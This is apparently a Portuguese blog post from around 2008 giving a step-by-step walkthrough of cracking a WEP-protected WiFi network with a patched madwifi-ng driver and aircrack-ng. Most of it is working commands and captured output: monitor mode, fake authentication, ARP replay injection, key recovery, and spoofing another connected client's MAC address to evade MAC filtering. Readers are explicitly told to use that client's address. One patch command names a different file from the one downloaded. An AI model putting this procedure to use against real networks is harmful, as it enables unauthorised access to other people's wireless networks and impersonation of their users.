Ola!

Hoje resolvi crackar a minha propria rede WiFi...

(NAO AINDA NAO USO WPA
ERA MUITO DIFICIL DE USAR QUANDO AINDA NAO HAVIA WPA_SUPPLICANT)

Eu uso uma placa atheros com o driver madwifi-ng

* meu MAC address: 00:0F:B5:23:16:C2 (ver com iwconfig)
* MAC address do router: 00:1B:2F:72:A9:8C (ver com iwlist scan)
* canal em que o router emite: 11 (iwlist)
* ESSID - nome do router: Chapeu
* wireless interface: ath0

Sacar, Compilar e Instalar

# Driver

• rmmod ath5k
• cd /usr/src
• svn -r 3725 checkout http://svn.madwifi.org/madwifi/trunk/ madwifi-ng
• wget http://rapidshare.com/files/122400457/madwifi-ng-r3725v1.patch
• cd madwifi-ng
• patch -Np1 -i ../madwifi-ng-r3386v3.patch
• ./scripts/madwifi-unload
• make
• make install
• depmod -ae
• modprobe ath_pci

# Aircrack-ng

• cd /usr/src
• svn co http://trac.aircrack-ng.org/svn/trunk aircrack-ng
• cd aircrack-ng
• make
• make install

# Iniciar o Interface em Monitor mode e testar a injeccao

• airmon-ng stop ath0
• airmon-ng start wifi0
• mkdir ~/wep
• cd ~/wep
• aireplay-ng --test ath0 #(ler e verificar que a injeccao esta a funcionar)
• airodump-ng -c 11 --bssid 00:1B:2F:72:A9:8C -w output ath0

# Manter uma ligacao "alive"
(abrir outra sessao)

• aireplay-ng -1 6000 -o 1 -q 10 -e Chapeu -a 00:1B:2F:72:A9:8C -h 00:0F:B5:23:16:C2 ath0

(aqui ler se e possivel associar com o AP - se leres "Got a deauthentication packet!" nao consegues associar)

As vezes nao e possivel associar porcausa do filtro de MAC addresses. E preciso saber uma das MAC addresses aceites no filtro.
Termina o aireplay-ng e olha para a primeira sessao - o output do airodump-ng

CH 11 ][ Elapsed: 2 min ][ 2008-06-14 17:11

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:1B:2F:72:A9:8C 44 100 557 2262 42 11 54. WEP WEP OPN Chapeu

BSSID STATION PWR Rate Lost Packets Probes

00:1B:2F:72:A9:8C 00:19:E0:83:71:96 34 54-54 17 2265

A ultima linha mostra a MAC do router e a MAC de alguem ligado neste momento.
Terminar o airodump-ng, mudar a MAC address e re-abrir o airodump-ng:
(na primeira sessao)

• ctrl + c
• ifconfig ath0 down
• ifconfig ath0 hw ether 00:19:E0:83:71:96
• ifconfig ath0 up
• airodump-ng -c 11 --bssid 00:1B:2F:72:A9:8C -w output ath0

( Nota: eu vou continuar a usar o meu mac address porque esta na lista de acesso do meu router, mas voces devem usar aquele que esta no output do airodump - 00:19:E0:83:71:96 )

Volta a tentar o aireplay-ng

• aireplay-ng -1 6000 -o 1 -q 10 -e Chapeu -a 00:1B:2F:72:A9:8C -h 00:0F:B5:23:16:C2 ath0

(abrir nova sessao)

• aireplay-ng -3 -b 00:1B:2F:72:A9:8C -h 00:0F:B5:23:16:C2 ath0

Assim que vires os valores entre parentes a passar de zeros para muitos:

17:12:21 Waiting for beacon frame (BSSID: 00:1B:2F:72:A9:8C) on channel 11
Saving ARP requests in replay_arp-0614-171221.cap
You should also start airodump-ng to capture replies.
Read 124122 packets (got 73597 ARP requests and 38891 ACKs), sent 39375 packets...(499 pps)

Desliga o primeiro aireplay-ng -1

Agora olha para o terminal do airodump-ng e ve a #DATA a aumentar

CH 11 ][ Elapsed: 6 mins ][ 2008-06-14 17:15

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:1B:2F:72:A9:8C 45 57 3078 82933 427 11 54. WEP WEP OPN Chapeu

BSSID STATION PWR Rate Lost Packets Probes

00:1B:2F:72:A9:8C 00:0F:B5:23:16:C2 45 0- 1 76 96614
00:1B:2F:72:A9:8C 00:19:E0:83:71:96 33 54-54 43 8831

ve o valor de #/s e o numero de IV's por segundo :) - supostamente um valor entre 300 e 400 e normal

quando o numero de data for algo como "308630" (e o que tenho no meu) esta na hora de parar o airodump e correr o aircrack:

• ctrl + c
• aircrack-ng -z output2-01.*cap

Aircrack-ng 1.0 rc1 r1084

[00:00:00] Tested 790 keys (got 276386 IVs)

KB depth byte(vote)
0 0/ 25 25(367872) DA(300800) 62(300544) DC(298240) 5F(297984) 6E(296704) 77(296704) 28(294144) F5(293376) 11(293120) 63(292864) 87(292096)
1 0/ 1 9C(379136) 1B(297216) 19(296448) 09(295424) 85(295424) 4F(294912) 89(294656) 52(293632) B9(293632) 00(292096) EB(292096) 04(291840)
2 0/ 1 13(394496) 78(302080) 8A(298752) 67(297984) 25(295168) E0(294144) F2(293888) B1(293120) F8(292096) F0(291584) 1B(291328) BA(291072)
3 0/ 1 C3(380672) 93(300032) 8F(295168) 4E(294912) 9D(292864) 1C(292608) 29(292608) 6D(292608) CA(292096) FC(291840) D6(290816) 90(290560)
4 79/ 4 B7(280832) 4A(280576) 58(280576) 66(280576) B0(280576) EC(280576) 22(280320) 2F(280320) A7(280320) F1(280320) 83(280064) D3(280064)

KEY FOUND! [ 25:77:77:B0:67:8E:7B:AF:00:A9:A7:A2:29 ]
Decrypted correctly: 100%

Bookmark/Search this post with:
• 
• 
• 
• 
• 
• 

Anexo	Tamanho
madwifi-ng-r3725v1.patch_.txt	492 bytes

‹ o que está ocorrendo com a novell recomendando o browser I.E. ? nukes - verdade ou mentira? ›